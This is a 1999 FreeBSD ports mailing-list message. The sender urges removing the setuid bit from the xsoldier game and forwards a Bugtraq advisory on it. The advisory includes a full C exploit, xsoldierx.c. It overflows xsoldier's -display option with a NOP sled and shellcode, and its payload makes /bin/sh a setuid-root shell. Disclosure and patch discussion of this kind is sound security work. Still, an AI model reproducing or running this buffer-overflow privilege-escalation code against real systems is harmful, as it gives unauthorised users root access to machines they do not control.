From owner-freebsd-ports  Wed Dec 15 19:54:50 1999
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From: Spidey <beaupran@iro.umontreal.ca>
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Date: Wed, 15 Dec 1999 22:54:09 -0500 (EST)
To: nacai@iname.com, ports@freebsd.org
Subject: Fwd: FreeBSD 3.3 xsoldier root exploit
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Hi. Some buddy here thought it to be a good idea to scrap FBSD's
reputation on Bugtraq, and it's going well.

It's not the first time he posts about an exploit on a program part of
the ports...

I personnally think that 'xsoldier' should not be installed suid root
since it's only for high scores management. 

I also _really_ think that someone should post on bugtraq to clearly
explain that this is not a FBSD-specific exploit, but is part of
xsoldier. If nobody will, I will.

For now, it would be a _great_ idea to scrap the setuid bit on that
darn xsoldier. :)

Thanks for any replies

The AnarCat.

------- start of forwarded message -------
From: Brock Tellier <btellier@USA.NET>
To: BUGTRAQ@SECURITYFOCUS.COM
Date:         Wed, 15 Dec 1999 17:11:36 MST
Message-ID:  <19991216001136.15774.qmail@nwcst286.netaddress.usa.net>
Subject:      FreeBSD 3.3 xsoldier root exploit

Greetings,

OVERVIEW
A vulnerability in FreeBSD 3.3's xsoldier will allow any user to gain root
access.  This user does not have to have a valid $DISPLAY to exploit this.

BACKGROUND
Only FreeBSD 3.3-RELEASE has been tested.  xsoldier, suid-root by default, was
installed as part of the X11 games packages via /stand/sysinstall.

DETAILS
More problems with FreeBSD 3.3 ports.  This time with xsoldier, a suid-root
game.  A simple overflow in the -display option allows any user to gain root. 
Although xsoldier only runs under X, a long -display arg on the CL will allow
us to gain root.

--- xsoldierx.c ---
/* 
 * xsoldier exploit for Freebsd-3.3-RELEASE
 * Drops a suid root shell in /bin/sh
 * Brock Tellier btellier@usa.net
 */


#include <stdio.h>

char shell[]= /* mudge@l0pht.com */
  "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
   "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
   "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
   "\x9a>:)(:<\xe8\xc6\xff\xff\xff/tmp/ui";

#define CODE "void main() { chmod (\"/bin/sh\", 0004555);}\n"

void buildui() {
FILE *fp;
  char cc[100];
  fp = fopen("/tmp/ui.c", "w");
  fprintf(fp, CODE);
  fclose(fp);
  snprintf(cc, sizeof(cc), "cc -o /tmp/ui /tmp/ui.c");
  system(cc);
}

main (int argc, char *argv[] ) {
 int x = 0;
 int y = 0;
 int offset = 0;
 int bsize = 4400;
 char buf[bsize];
 int eip = 0xbfbfdb65; /* works for me */
 buildui();

 if (argv[1]) { 
   offset = atoi(argv[1]);
   eip = eip + offset;
 }
 fprintf(stderr, "xsoldier exploit for FreeBSD 3.3-RELEASE
<btellier@usa.net>\n");
 fprintf(stderr, "Drops you a suid-root shell in /bin/sh\n");
 fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize);
 
 for ( x = 0; x < 4325; x++) buf[x] = 0x90;
     fprintf(stderr, "NOPs to %d\n", x);
 
 for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
     fprintf(stderr, "Shellcode to %d\n",x);
  
  buf[x++] =  eip & 0x000000ff;
  buf[x++] = (eip & 0x0000ff00) >> 8;
  buf[x++] = (eip & 0x00ff0000) >> 16;
  buf[x++] = (eip & 0xff000000) >> 24;
     fprintf(stderr, "eip to %d\n",x);

 buf[bsize]='\0';

execl("/usr/X11R6/bin/xsoldier", "xsoldier", "-display", buf, NULL);

}

-------

Brock Tellier
UNIX Systems Administrator
Chicago, IL, USA
btellier@usa.net

____________________________________________________________________
Get free email and a permanent address at http://www.netaddress.com/?N=1
------- end of forwarded message -------

-- 
Si l'image donne l'illusion de savoir
C'est que l'adage pretend que pour croire,
L'important ne serait que de voir

Lofofora


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